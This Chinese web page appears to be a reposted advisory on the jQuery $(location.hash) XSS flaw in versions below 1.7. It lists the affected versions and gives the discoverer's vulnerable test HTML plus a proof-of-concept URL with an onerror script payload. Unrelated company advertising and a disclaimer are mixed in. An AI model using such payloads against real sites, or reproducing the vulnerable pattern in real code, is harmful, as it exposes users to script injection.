jQuery跨站脚本漏洞XSSwith$(location.hash)漏洞

jquery下载地址：https://code.jquery.com/jquery/

专注于为中小企业提供成都网站设计、做网站服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业英吉沙免费做网站提供优质的服务。我们立足成都，凝聚了一批互联网行业人才，有力地推动了数千家企业的稳健成长，帮助中小企业通过网站建设实现规模扩充和转变。

影响范围：

版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷，可能导致LOCATION.HASH跨站漏洞

已测试成功版本：

jquery-1.6.min.js，jquery-1.6.1.min.js，jquery-1.6.2.min.js

jquery-1.5所有版本

jquery-1.4所有版本

jquery-1.3所有版本

jquery-1.2所有版本

测试：

启动nginx，并建立index.html页面，内容如下：

漏洞发现者给的测试代码：

<html>

<head>

<title>JQuery-xss-test</title>

$(function(){

try { $(location.hash) } catch(e) {}

})

</script>

</head>

<body>

Jquery xss test.

</body>

</html>

访问地址：

http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>

测试截图：

jQuery跨站脚本漏洞XSS with $(location.hash)漏洞

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源：创新互联

猜你还喜欢下面的内容